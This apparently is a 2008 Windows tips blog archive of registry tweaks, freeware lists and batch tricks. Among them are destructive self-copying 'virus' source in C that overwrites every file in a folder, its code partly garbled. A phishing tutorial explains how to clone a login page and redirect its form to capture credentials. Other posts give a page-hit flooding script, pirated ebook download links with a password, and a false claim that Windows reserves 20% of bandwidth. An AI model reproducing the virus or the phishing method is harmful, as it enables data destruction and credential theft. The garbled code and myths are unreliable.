There can be a variety of reasons to Windows loading slow during start up. Go to Run, type msconfig and hit enter. Under the ‘Start Up’ tab, uncheck the unwanted programs and press OK. Things should be a bit fine the next time Windows boots.

Another program worth mentioning here is StartUp Delayer which will help in setting after how much time programs should be loaded after Windows boots. For instance, you could set your instant messenger program to load 50 seconds after Windows starts up.

Slow Loading Start Menu
If the Start Menu items are loading slowly, you can open the Registry Editor by typing in the Run menu ‘regedit.exe’ and pressing Enter. Go to HKEY_CURRENT_USER\Control Panel\Desktop. Look for MenuShowDelay, and double click to edit the value. The lower the number specified, the faster the Start Menu will load.

Slow Right Click Context Menu
Probably the Windows Right Click menu on your computer is loading slow because too many programs added unwanted entries there. Just download this program called Mmm, install it and then modify your context menu to remove unwanted items to speed it up.

'Send To' Menu Slow Send To Menu
If the Send To menu loads slowly, you can type ’sendto’ in the Run Dialog, and remove unwanted items in the Explorer Window that appears. This should add some speed to it.

Slow Defragmentation
The Windows Defragmenter can’t get any slower. You need to have an alternative to the Windows Defragmenter, and Defraggler is just one of the best ones available in the market. It’s free, and works like a charm and can speed up defragmentation manifold.

Slow loading My Computer Window
my-computer.jpg If the My Computer Window loads slowly, in the Explorer Window, go to Tools >> Folder Options >> View and uncheck ‘Automatically search for network folders and printers”

Slow loading Add or Remove Programs Applet
This is one of the most annoying piece of programs present in Windows, it takes ages to load if you have a considerable number of programs installed on your computer. You can either use the all-in-one CCleaner for this purpose, or get MyUninstaller that comes as a speedy replacement for Add or Remove Programs.

Slow Ending of Unresponsive Programs
If you’ve clicked on ‘End Task’ if any program is running unresponsive, you might have noticed that the program is not terminated immediately. You can alter this by going to Run >> regedit.exe >> HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ and change this value to 1000.

Disable Animations and Appearance Overhauls to maximize performance
If you’re a serious performance junkie, you probably won’t bother about eyecandy. Go to System Properties in the Control Panel. Click ‘Advanced’, then ‘Performance’ and click ‘Adjust for best performance’. This might boost your PC’s performance up a bit.

Additional Tips:

- Always keep your computer clean. Remove Junk and Unnecessary registry entries. Use CCleaner for this purpose, one excellent tool that just does what it says.

- Don’t keep installing software. Install a program only if it really serves you a purpose.

- Keep as less programs as possible running on the System Tray. This essentially means reducing the number of programs that start during Windows start up.

Best And 100% Tested Proxy Sites

2009-01-04T05:29:00.000-08:00

www.kproxy.com

www.usatunnel.com

http://www.nodeproxy.com/

http://www.spysurfing.com/

http://unblockmyspace.com/

http://theproxyfree.com/

Create and Design Ringtones For Your Mobile Phones

2009-01-02T05:39:00.000-08:00

You can create your own ringtone of your favourite song by following these steps.
1. Log on to www.zedge.net and register.

2. On the 'ringtone maker' click browse and select the song of your choice from your computer.

3. Upload the track.

4. Check whether the track plays by clicking the play button.

5. Crop the track using the start and end tab. Preview your tone.

6. Download to PC and then copy to your phone.

Similar websites:
makeownringtone.com
mobile17.com
mytinyphone.com
phonezoo.com
myxertones.com

11 must-have free Windows Mobile Apps

2009-01-02T05:33:00.000-08:00

The iPhone and Google's android might be hogging all limelight but one can ever ignore the most dominant OS maker,for both PC and SmartPhones, MicrosofT Windows. This a list of several free apps for your Windows mobile. Please note that I have provided links to the page where you can download the softwares,but in any case if the link is broken you can Google search the software's name to find relevant links.

Task Manager: vBar is a task manager for windows mobile devices. It is available for free at http://vieka.com/vbar.htm. The vbar icon locates itself neatly in the title bar and has two basic options- close all and close all but active. The software is of 21 kb.

Data Backup: PIM is a free software from DOTFRED (http://www.dotfred.net/). Contacts,call logs, messages,etc can be backed up. You can restore these files in other devices as well.Option for compression of data and you can schedule to back up data automatically.

PDF Viewer: Windows official PDF reader is available at Adobe (http://www.adobe.com/products/acrobat/readerforppc.html). It is of 3 mb. You can view files in portrait as well as landscape mode.You can zoom in and out.

Feed Reader:Stay updated on the move. Get the latest news,blog posts and podcasts on your mobile. Screenyx RSS reader is available for download from www.mobiletopsoft.com.

Cleaner: Speedclean is a utility to clean up temporary files and cookies. This increases the performance of your mobile. It is available for download from www.tucows.com.

Web Browser: Opera has two browser options for Windows mobile. Opera mini - which works on most mobile and Opera mobile which is feature rich. You can download them from http://www.opera.com/products/mobile

Video Player: TCPMP is free open source media player like VLC of P.C. It is available at picard.exceed.hu/tcpmp/test. The video player is quite good but there are several plugins to make it even better.

Screen Capture: CECapture is a free tool of 54 kb size available at freewareppc.com. Another one is Screencap of 11 kb and is available from geocities.com/nozomisoft/screencap.html
These softwares save the image in my documents folder as uncompressed bitmap files.

Unzip utility: EasyUnZip from cnetx.com/ezyunzip is a 461 kb free download that helps you handle all your zip files

Activity Simulator: It is necessary to have the backlight of your mobile on while reading a doc,etc. But the backlight will automatically go off after some time. To avoid this you can use KeepAlive from pocketpcfreewares.com .

Notepad: MADE is a text editor of 100 kb available at handheld.softpedia.com. It can handle multiple files at a time, open large files and can handle different formats. You can edit html,CSS, XML,etc.

Image Viewer: PocketCM image viewer from pocketcm.com is a image viewer for Windows Mobile that uses touchscreen functionality to it full potential.

You might be interested in Laptop add-ons that would make your life easy
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Solutions to some General Problems

2009-01-02T05:22:00.000-08:00

Commmad prompt disabled

SOLUTION 1:
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Start->Run=>gpedit.msc
OR
C:/windows/system32/
find gpedit.msc double click on that

goto user Configuration
select Administrative Templates
select System
on the right pane double click on "prevent access to the command prompt"
in the popup select "disabled" click on apply
then ok......

SOLUTION 2:
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Open Registry Editor (Regedit.exe) and navigate to:

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]

In the right-pane, double-click DisableCMD and set it's data to 0

SOLUTION 3:
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Click on Start >> Run and in the Open box type:

REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f

Type it in correctly. It is better to copy and paste. Then click OK.

Double click opens search option
Double-clicking any drive opens search option

Solution 1:
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That's a virus named as ravmon.exe and autorun.inf
Scan first with a good antivirus [Nod32 Recommanded]
then try this trick....

First show the hidden files and folders options then try this method

1. Go to Start-->run and type cmd then click ok

2. If u want to remove the infected file from c drive then type C: in command prompt and press enter

3. Type autorun.inf and press enter
autorun.inf file is opened

4. Now type "attrib autorun.inf -s -h -r" and press enter

5. Now delete the file by typing
"del autorun.inf" and press enter

6.Now type autorun.inf and press enter now, u will find no infected autorun.inf file.

7. same way do for all other drives then restart ur pc

Solution 2:
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To resolve this problem, edit the registry to set the value data for the Default string value in the registry keys that are described in the "Cause" section of this article to none:
1. Start Registry Editor (Regedt32.exe).
2. Locate and then click the Default value under the following keys in the registry if this problem occurs with folders:
HKEY_CLASSES_ROOT\Directory\shell
If this problem occurs with drives:
HKEY_CLASSES_ROOT\Drive\shell
3. Click Modify on the Edit menu.
4. Type none in the Value data box, and then click OK.
5. Quit Registry Editor.

Folder Options Disabled

go to run
type "control folders"
if it doesnt work, try:

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Solution 1:

->Run -> Type gpedit.msc
Then:
->User Configuration ->Administrative Templates --> Windows Components --> Windows Explorer-> Removes the Folder Options menu item from the Tools menu.
Right click:
-> Properties -> Disable ->Apply -> Again set it to not configured

Solution 2:
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Go to Startmenu->Run and enter regedit there and press ok to execute regedit (registry editor). There you’ll see a tree like structure of folders like stuff in left. There navigate to registry entry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
and on right side you’ll see many values.

Out of these values in right see a value (key) named “NoFolderOptions” .Double click after highlighting it, if there under value box it’s written 1 then change it to 0 and press enter. Exit the registry editor and close any folder and open again to see the settings.If you want to disable Folder Options then set the value of “NoFolderOptions” to 1 (and to retrieve it back change it to 0).

Regedit Disabled

SOLUTION 1:
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Start->Run=>gpedit.msc
OR
C:/windows/system32/
find gpedit.msc double click on that

goto user Configuration
select Administrative Templates
select System
on the right pane double click on "prevent access to registry editing tools"
in the popup select "disabled" click on apply
then ok......

SOLUTION 2:
---------------------------------------------------
Message: “Registry editing has been disabled by your administrator”

Click on Start >> Run and in the Open box type:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

Click OK.

Task Manager Disabled

If u r working on Windows XP pro, following steps will help u to enable Task Manager

SOLUTION 1;
----------------------------------------------------------
Click Start --> Run
Enter gpedit.msc in the Open box and click OK
In the Group Policy settings window, select User Configuration
Select Administrative Templates
Select System
Select Ctrl+Alt+Delete options
Select Remove Task Manager
Double-click the Remove Task Manager option
Disable that option

SOLUTION 2:
-----------------------------------
Click on Start >> Run and in the Open box type:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

Click OK.

Download O’Reilly Hacks Ebook All-In-One (26 in 1)

2009-01-01T05:31:00.000-08:00

This download of O’Reilly Hacks All-In-One pack is divided into 4 rapidshare download links which has 26 ebooks.

01- O’Reilly Paypal Hacks
02- O’Reilly Amazon Hacks
03- O’Reilly Wireless Hacks
04- O’Reilly Network Security Hacks
05- O’Reilly eBay Hacks
06- O’Reilly Word Hacks
07- O’Reilly Flash Hacks
08- O’Reilly Yahoo Hacks
09- O’Reilly Google Hacks
10- O’Reilly Firefox Hacks
11- O’Reilly Windows XP Hacks
12- O’Reilly Windows Server Hack
13- O’Reilly PC Hacks
14- O’Reilly IRC Hacks
15- O’Reilly PDF Hack
16- O’Reilly Podcasting Hacks
17- O’Reilly Swing Hacks
18- O’Reilly BSD Hacks
19- O’Reilly Spidering Hacks
20- O’Reilly Visual Studio Hacks
21- O’Reilly Car PC Hacks
22- O’Reilly Digital Video Hacks
23- O’Reilly Digital Photography Hacks
24- O’Reilly Mapping Hacks
25- O’Reilly Halo 2 Hacks
26- O’Reilly Retro Gaming Hacks

http://rapidshare.com/files/25115586/B000121.part1.rar

http://rapidshare.com/files/25116322/B000121.part2.rar

http://rapidshare.com/files/25133288/B000121.part3.rar

http://rapidshare.com/files/25134067/B000121.part4.rar

Password : xylofon

Create a Backup of Your Blog in Seconds!

2008-12-31T21:52:00.000-08:00

If you are regular blogger and want to make a backup of all your precious Blog Database, Now you can do that very easily without much pain. Now, blog backup service is offered by Blogger in Draft. To make a backup of your blog just log in at Blogger.com and go to Settings of your blog, you will find three options under “Blog Tools” Import Blog, Export Blog, Delete Blog.

To save a backup of your blog just “Export Blog” and save that file on your hard disk. You will get an XML file for your backup. This can be very useful if you want to make a backup or if you want to transfer your blog to some other blogging Platform like Word Press.

Windows 7 Beta ISO Leaked on torrent trackers

2008-12-30T23:52:00.000-08:00

Apparently you won't have to wait until January to get your hands on the Windows 7 Beta release.That's right, there's already been an ISO file leaked to several torrent trackers.

The ISO appears to contain the Windows 7 M1 build (7000) . So far the new build seems to perform slightly better than 6801, and memory usage has been improved. A number of previously hidden features - like the iconized task bar - are also now active.

Before you start asking why there's no link to the file, it's because this is something that we're not supposed to have yet. If you want to get your hands on it, check your favorite torrent search site. Also keep in mind that this is a leak, and there's always the possibility that the ISO has been tampered with.

Registry Hack to Disable Writing to USB Drives

2008-12-30T23:29:00.000-08:00

A common security concern at organizations is allowing users to plug in a usb flash drive, because they could so easily copy corporate data.
Since Windows XP SP2, you can disable writing to USB devices altogether using a simple registry hack.
Here it is:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
“WriteProtect”=dword:00000001

Phishing the Phisher : A Counter Attack Tutorial

2008-12-29T22:57:00.000-08:00

This post will explain you about Phishing which came across me when I used to learn hacking related stuffs. In this post I will be explaining you mode of operation of Phishing starting from scratch. Though phishing is old ,it poses as a great threat in the world wild wide web. For security it is needed to get into the source loop holes. So, lets start without wasting much time.

Definition
Phishing is simply the act of creating fake page of any legitimate web-service and host them on net in order to fool the user to get the passwords, credit card no .,social security no. etc

Requirements

1. Web browser (mozilla firefox, internet explorer)

2. Text editor (ex: notepad ,kwrite)

3. Knowledge of basic HTML and some scripting languages like php, javascript etc.

4. Web hosting resource

Mode of operation::
I will provide quite simple steps.

1.The source code of the target website is obtained by using in built function of web browsers .

Ex: For mozilla firefox page source code can be obtained by
option 1) by navigating to page source present in edit tab.
option 2) pressing ctrl+u
option 3) right clicking and selecting view page source

2. All the source code is copied into an editor.

3. Now , the action attribute of form element is searched.

• Form elements are elements that allow the user to enter information (like text fields of username ,password , textarea fields, drop-down menus, radio buttons, checkboxes, etc.) in a form.

•When the user clicks on the "Submit" button, the content of the form is sent to the server. The form's action attribute defines the name of the file to send the content to. The file defined in the action attribute usually does something with the received input.

5. From the above explanation it is quite clear that by editing the action attribute we can send information (like user account information) .

6. As the last step ,manipulated web page is hosted in the web and victims are made to use them using some social engineering technique.

social engineering ::Social engineering is a collection of techniques used to motivate people into performing actions that will reveal confidential information.

Prevention
1. Don't blindly believe any kind of mail without authenticity.
2. While logging in give a close look at the domain name
3. Change your passwords regularly.
4. Use some web-site advisory software (now a days comes with internet security softwares).ex:Wot
5. Always be alert.

Download Kgb Archiver - The Most Powerful Compression Tool

2008-12-28T21:31:00.000-08:00

KGB Archiver is the compression tool with unbelievable high compression rate. It surpasses even such efficient compression tool like 7zip and UHARC in terms of the abilities.

KGB Archiver is an application created to compress and decompress files.

Unfortunately although its powerful compression rate, it has high hardware requirements (I recommend processor with 1,5GHz clock and 256MB of RAM as an essential minimum).

One of the advantages of KGB Archiver is also AES-256 encryption which is used to encrypt the archives. This is one of the strongest encryptions known for human.

Requirements:

• NET Framework And here is the rest of it.

http://www.softpedia.com/progDownload/KGB-Archiver-Download-31575.html

Barack Obama Spam Mail with Spy software

2008-12-28T01:04:00.000-08:00

This one has got to deal with very own age old social engineering (Social engineering is a collection of techniques used to manipulate people into performing actions or divulging confidential information)which still clicks.
Now a days cyber criminals ,specifically spammers are increasingly using celebrities' names to tempt people into opening emails.They rely on the fact that we are indeed a curious species, and we do seem to have an unrelenting interest in scrutinizing the personal lives of politicians.So Mr. Barack Obama who is the junior United States Senator from Illinois and a candidate for the Democratic nomination has become eye candy for spammers.
Specifically three types spam mails relating to him are currently circulating in the internet.

1.Barack Obama Sex tape spam
2.Barack Obama Survey Gas Card spam
3.Barack Obama Transexual affair spam

Let's come to the first one

1.Barack Obama sex tape spam mail as the name says typically persuades recipients to open the attachment included by fooling them in to thinking it leads to a sex tape starring Barack Obama. . Even his biggest supporters would surely baulk at seeing him indulging in some bedroom As would his detractors, surely.

When the unwitting and novice user clicks on Download and view now button he will never get the stuff that lured him.What he gets is a gift of a trojan horse known as Mal/Hupig-D.

2.According to Trend Micro, a new email currently circulating, asks the recipient to participate in a survey with the gratifying moulder being a chance to win a free $500 gas card. We all love contests, and with the chance to win $500 in gas, who wouldn’t click on the link. Good old social engineering ,huh !!

But here’s the pitfall; click on the link and you arrive on the Smileycentral.com, web site which is a distributor of malware under the best of circumstances.

The prominent “Always Free” button on this site, if clicked, will lead to a request that you download an ActiveX control which, when downloaded, will begin the process of installing the ADW_MYWEBSEARCH Trojan on your system.

3.Barack Obama Transexual affair spam mail gives a link which purportedly leads to a video of Barack Obama disclosing his transsexual affairs.Those that are gullible enough to follow this link will be enticed to download the file - Barack_Obama-videostream.v182.exe - which has been classified as a malware agent - BKDR_AGENT.ABTQ.

So what does make thes spam mails so feared ??

Ans: They are designed to drop malicious code, including rootkits, password stealers, trojan horses, and spam bots on our computers. Malicious code that can lead to identity theft and the theft of your passwords, bank account numbers, and other personal information.

What should I do when I get these mails ??

Ans:Report them here IC³ (Internet Crime Complaint Center)

Of course delete them ..

CHAT with YOUR FRIENDS THROUGH MS-DOS

2008-12-27T23:54:00.000-08:00

1. All you need is your friends IP address and your Command Prompt.
2. Open your notepad and write tis code as it is……………… I would prefer you to copy this !

@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A

3. Now save this as "Messenger.Bat".
4. Drag this file (.bat file)over to Command Prompt and press enter!
5. You would then see some thing like this:
MESSENGER
User:

6. After "User" type the IP address of the computer you want to contact.

7. Before you press "Enter" it should look like this:

MESSENGER
User: IP_Address
Message: Hi, How are you ?

8. Now all you need to do is press "Enter", and start chatting Now all you need to do is press Enter, and start chatting.....
Comment if u liked it.. :)

Make Your Xp Talk

2008-12-27T23:39:00.000-08:00

Open a text file in notepad and write:

Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text, input the text and press ok.

If u r havin problem replace " with "

Change Windows To Your Name

2008-12-26T23:37:00.000-08:00

Open notepad and copy the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:

[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here

Save the file, then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.
Now if you want to display some more information then simply increase the line in the file.
Ex: Line4=Your Working Hours Here

Restrict PC Shutdown

2008-12-26T05:10:00.000-08:00

Restrict PC Shutdown

* Type gpedit.msc in run dialog box [ WIN KEY + R ]
* This will open Group Policy Editor. Now there are two things in it, Computer Configuration and User Configuration
* Click on User Configuration > Administrative Templates > Start Menu and Task Bar
* Now look for “remove and prevent access to shutdown command”
* Double Click and Enable it.
* Exit the group policy editor.

This setting removes the Shut Down option from the Start menu and disables the Shut Down button on the Windows Security dialog box, which appears when you press CTRL+ALT+DEL. This setting prevents users from using the Windows user interface to shut down the system.

Now if you try to shutdown by clicking on start , the shutdown button must have disappeared. Moreover check the task manager and you will find all shutdown,restart and others disabled except switch user.

Save DOS Output In a File

2008-12-25T00:59:00.000-08:00

This is a small trick that many Dos users might already know. The trick just shows you how to run a Dos command and instead of displaying the outputs on the screen, it saves the outputs into a file.

This trick is very helpful when you want to save the result of a dos command to a file to email it or read/print it later. For example, you can print out your network configuration data and email it to a technical support.

Here’s how

simply put a “>” and the destination file at the end of the dos command. Examples:

This command outputs the IP configurations to the file “ipdata.txt” in “C” drive:
ipconfig /all > C:\ipdata.txt

Virus Code In C

2008-12-24T03:44:00.001-08:00

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();

Send free sms to mobile from your pc

2008-12-23T01:19:00.000-08:00

Send free sms to mobile from your pc
Here is the list
ENJOY!
http://smsgupshup.com
http://160by2.com
http://www.atrochatro.com/
https://zyb.com/
http://www.mobyko.com/
http://stepsms.com/
http://www.smstxtbox.com/web/
http://www.junglesms.com/
http://50sms.com/
http://www.ecosms.ch/
http://www.free–sms.com/index.go
http://www.pimpmysms.com/
http://www.islamweb.net/
http://www.phones.com/
http://www.devinosms.com/
http://gsms.se/
http://www.themobiweb.com/en/sms.html
http://my.phonegnome.com/
http://sms4u.biz/signup.php
http://simsor.com/register
http://www.mobik.com/mobik/client/
http://www.smsdiscount.com/en/index.html
http://4usms.net/
http://www.sendsmsnow.com/
http://www.unisms.uni.cc/

http://www.gsmvault.com/
http://smscity.com/
http://www.sms2india.org/
http://www.freesms.web.tr.tc/
http://www.d1g.com/
http://thesmszone.com/
http://zyb.com/
http://www.vazu.com/
http://www.sms.ac/
http://www.agentsms.com/
http://www.mobizone.com/
http://www.yellowpages.com.eg/
http://www.boswtol.com/
www.masrawy.com/sms
http://www.resalh.com/
http://free-sms-message.com/index.htm
http://adleel.com/sms.htm
http://mobile.fares.net/sms/uae
http://www.itsalat.com/
http://www.quios.com/
http://www.clickatell.com/
www.ulluminati.ch/Nexus/sms.html
http://www.freesms.net/
http://www.free-sms.com/
http://www.lycos.co.uk/
http://www.sms.at/
http://www.sms.com/
http://www.smsyes.com/
www.smsuae.com/sms-uae
http://www.edihasms.com/
http://www.shortmessage.com/
www.worldxs.net/sms.html
www.hot.it/sms

Page Hits Flodder

2008-12-21T01:46:00.000-08:00

This small program can flood ur page hits.
But you have to dedicate one browser for it. Like internet explorer

Method:
Make a batch file with these lines (Copy the code in a note pad ans save it as hits.bat)

@echo off
:1
start C:\Progra~1\Intern~1\iexplore.exe “http://yoursite.com”
ping -n 10 127.0.0.1 >nul
taskkill.exe /im iexplore.exe
goto 1

Depending upon your net speed u may increase the 10 secs time wait
With 10 sec time, u may have 360 hits in an hour.
With 5 sec time, u may have 720 hits in an hour.
Do not forget to put ur site’s name in place of http://yoursite.com

How to set priority levels for processes in Windows Xp

2008-12-21T01:26:00.000-08:00

Each process which runs in windows has a priority level. The priority level may be low, high, normal, and real-time, below normal and above normal.

When the priority is set to low, that process is considered the least important, during processing and hence the instances of this process is low and the process runs slower.

A process which is set with a priority of high will have more instances and hence will run faster.

Similarly the case can be judged for normal, above normal and below normal. Real-time priority makes the process priority to vary according to needs. Especially games are played better with a real-time priority.

To change the priority of a process, you will have to open the task manager.
Press ctrl + shift + esc to open task manager.

Navigate to the process tab and then right click any process and select Set Priority and then set the required priority.

You must be careful not to alter the priorities of system processes as it might have negative impact on your computer. So before you set the priority make sure that you know which software application the process belongs to. Do not assign process priorities to process which you have no idea of.

Add sound to almost every event in Windows

2008-12-19T23:47:00.000-08:00

XP comes with a new set of sounds that will surely add pizzazz to the way you work in Windows. But there's one problem -- you need to actually turn on the Windows default sound scheme before you'll be able to hear them.

To turn on the Windows XP default sound scheme, follow these directions:

Single-click the Start menu.
Single-click the Control Panel.
Single-click the Sounds, Speech, and Audio Devices icon.
Single-click the Sounds and Audio Devices icon or the text labeled "Change the sound scheme."
Make sure you're on the Sound tab and locate the pull-down menu under Sound scheme.
Select the Windows Default option and press Apply. Windows will ask you if you want to save the previous sound scheme. Since there wasn't a sound scheme already loaded, just choose No.

If you look under the text labeled "Program events," you'll be able to sample your new sounds or customize them with your own. Read Customize Events Sounds if you'd like to learn how to do this yourself.

Make IE Faster

2008-12-17T04:58:00.000-08:00

1. Click start > run

2. Type regedit > enter

3. Browse folder HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion
\InternetSettings

4. Right click @ windows right > New > DWORD

5. Type MaxConnectionsPerServer > u can set value (the more higher the no, the more good
speed u get, eg : 99)

6. Create another DWORD >type MaxConnectionsPer1_0Server

7. Then put a high value as mentioned above

8. Then, restart IE … ur finished.This Trick will increase your browsing speed as well as downloading speed

OPEN MY COMPUTER USING KEYBOARD (REALLY COOL TRICK)

2008-12-17T04:36:00.000-08:00

We can open MY COMPUTER by making double click on my computer icon on our screen (u need to use your mouse ) but if u want to open by using keyboard
then there are two easy ways..................

1---> Windows Key + E and it’ll open the windows explorer for you.
2---> I personally like it. Just hit Windows key + R (it’ll open the run prompt) type three or more dots (…) and press enter.

My Computer is open.

Correcting System Hang at Startup

2008-12-16T05:07:00.000-08:00

If your system hangs about 2 or 3 minutes at startup, where you can't access
the Start button or the Taskbar, it may be due to one specific service
(Background Intelligent Transfer) running in the background. Microsoft put out a patch
for this but it didn't work for me. Here's what you do:

1. Click on Start/Run, type 'msconfig', then click 'OK'.
2. Go to the 'Services' tab, find the 'Background Intelligent Transfer' service,
disable it, apply the changes & reboot.

Disable Dr. Watson

2008-12-15T06:11:00.000-08:00

Watson is a debugging tool in windows , which sometimes becomes quite irritating when ever it pops up suddenly .

Here is a method to disable it , if it bugs you :

Dr. Watson can be disabled using the registry editor:

1. Start the registry editor (Start >> Run >> type "regedit.exe" >> Hit enter )
2. Navigate to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AeDebug
3. Click on AeDebug and click Del

Alternativly just set HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AeDebug \ AUTO to 0

To re-enable Dr. Watson type "drwtsn32 -i" in run window.

Create a Hidden User Account

2008-12-12T05:17:00.000-08:00

This tweak allows an account that is normally displayed on the Welcome screen to be hidden from view. To log on using the account it's necessary to use the Log On To Windows dialog box similar to the one in Windows 2000.

#[Start] [Run] [Regedit]
#Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
Winlogon\SpecialAccounts\UserList
#Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.
#Data Type: REG_DWORD [Dword Value] // Value Name: Type Name of Account to be Hidden
#Setting for Value Data: [0 = Account is Hidden / 1 = Enabled]
#Exit Registry and Reboot...

While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups.

About thumbs.db

2008-12-09T03:27:00.000-08:00

What is the thumbs.db file in windows?

You might have noticed that there is a hidden file called thumbs.db created in some folders. This file is automatically created within a folder when the thumbnails view is used to view that folder.

This is file is not a virus and many people take it so.
This file just contains information for windows, to display the thumbnail of a picture as the icon of that folder when the user switches to thumbnails view. If you find this file annoying then you are free to go ahead and delete it or disable its creation.

How to disable the creation of thumbs.db file in Windows Xp?

The thumbs.db file is automatically created within a folder when the thumbnails view is used to view that folder.

To disable the creation of the thumbs.db file, follow these steps:
Open folder options in control panel.
Then navigate to the view tab.
Under the advanced settings box, select "Do not cache thumbnails."
Click the Apply button.

View Admin At Welcome Screen

2008-12-08T04:50:00.000-08:00

By default windows XP doesn't show the Administrator in the user list at the welcome screen. Here's a way to get around it.

Now head up to HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\Userlist

Create a new DWORD entry and name it as Administrator and change its value to 1.

Exit and reboot for the changes to take effect.
To change it back change its value to 0 or simply delete the key.

Change your Procesor Name

2008-12-03T04:40:00.000-08:00

REALLY A COOL TRICK

GO TO
START>RUN>TYPE REGEDIT>HKEY_LOCAL_MACHINE>HARDWARE>DISCRIPTION>
SYSTEM>CENTRAL PROCESSOR>
ON RIGHT HAND SIDE RIGHT CLICK ON PROCESSORNAMESTRING AND THEN WRITE ANYTHING U WANT IN THAT TEXTBOX

Change XP Boot Screen

2008-12-01T01:19:00.000-08:00

If you would like to change your boot up screen follow the directions below.
These instructions assume that you have a place to download the boot screen from the net.
If you would like to download a boot screen, visit http://www.themexp.org

1. Backup (copy) the file %windir%\system32\ntoskrnl.exe (most likely C:\windows\system32\ntoskrnl.exe - the boot screen)
2. Download the .zip to your computer
3. Extract ntoskrnl.exe to a directory other than %windir%\system32 (most likely C:\windows\system32)
4. Reboot your computer into Safe Mode (hit F8 before the boot screen) or into true DOS (from a boot disk)
5. Overwrite the file %windir%\system32\ntoskrnl.exe (which should have been backed up) with the extracted exe
6. Reboot your computer as you normally would.

Mouse Wheel Trick

2008-11-30T05:10:00.000-08:00

If you have a mouse with a scroll wheel on it, you can do some cool tricks.......

1.Shift & Spin

Ever wonder what happens when you hold down the Shift key on a web page and spin the wheel on your wheel mouse? Explorer goes either back or forward, depending on which direction you spin.

Give it a try. Open up Internet Explorer(or any other browser) and follow a few links. Then, hold down your SHIFT key and spin that wheel.

2.CTRL & Spin

If you are in a web browser (Explorer or Netscape or Firefox) , hold down your Ctrl key and spin the wheel. It makes the text larger or smaller depending on which way you spin. For Oper users, it magnifies both the images and the text.

Boost Up Internet Speed Without Using Software

2008-11-27T19:58:00.000-08:00

Above 90% computers all over the world run Windows... and hence another computer trick.

FACT
But do you know that about 20% of your internet bandwidth is reserved by Microsoft.
---------------------------------------------------------------------------------------------------------
Uses of Reserved Bandwidth
** Windows Automatic Updates rely on this reserved bandwidth.
** Fast loading Microsoft Websites
** Sending Error Reports
** Online Help support in Microsoft Office
---------------------------------------------------------------------------------------------------------
But this can be recovered back...
---------------------------------------------------------------------------------------------------------
The Remedy
** Start >> Run
** Type gpedit.msc
** This opens the Policy Editor
** Now, Local Computer Policy >> Computer Configuration
** Then, Administrative Templates >> Network
** Now, click on QOS Packet Scheduler
** Now, on Right hand side
** Double Click Limit reservable bandwidth
** Now in Setting Tab

***************************************************
It says : Not Configured
Reality : The Explain Tab says "By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection"

***************************************************

** So, on Setting Tab select Enabled
** Now, change Bandwidth limit (%) to 0 (Zero)
** Click OK !!!

That's All !!!

Make Your Folders Invisible

2008-11-27T19:53:00.000-08:00

1)Make a new folder
2)Now rename the folder as follows : Hold ALT key and type 0160.
3)Now u have a folder without a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.click ok

Thats it, now you can store your personal data without any 3rd party tools.

Change The Default Location For Installing Applications

2008-11-27T00:19:00.000-08:00

As the size of hard drives increase, more people are using partitions to seperate and store groups of files.

XP uses the C:\Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/ or directory by using a Registry hack.

Run the Registry Editor (regedit)and go to

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

Look for the value named ProgramFilesDir. by default,this value will be C:\Program Files. Edit the value to any valid drive or folder and XP will use that new location as the default installation directory for new programs.

Hidden Programs In Windows XP !

2008-11-25T06:15:00.000-08:00

It is strange to hear , but true that some good programs are hidden in Windows XP !!!

Programs :

1. Private Character Editor :

Used for editing fonts,etc.
** start>>Run
** Now, type eudcedit

2. Dr. Watson :

This an inbuilt windows repairing software !
** start>>Run
** Now, type drwtsn32

3. Media Player 5.1 :

Even if you upgrade your Media Player, you can still access your old player in case the new one fails !!!
** start>>Run
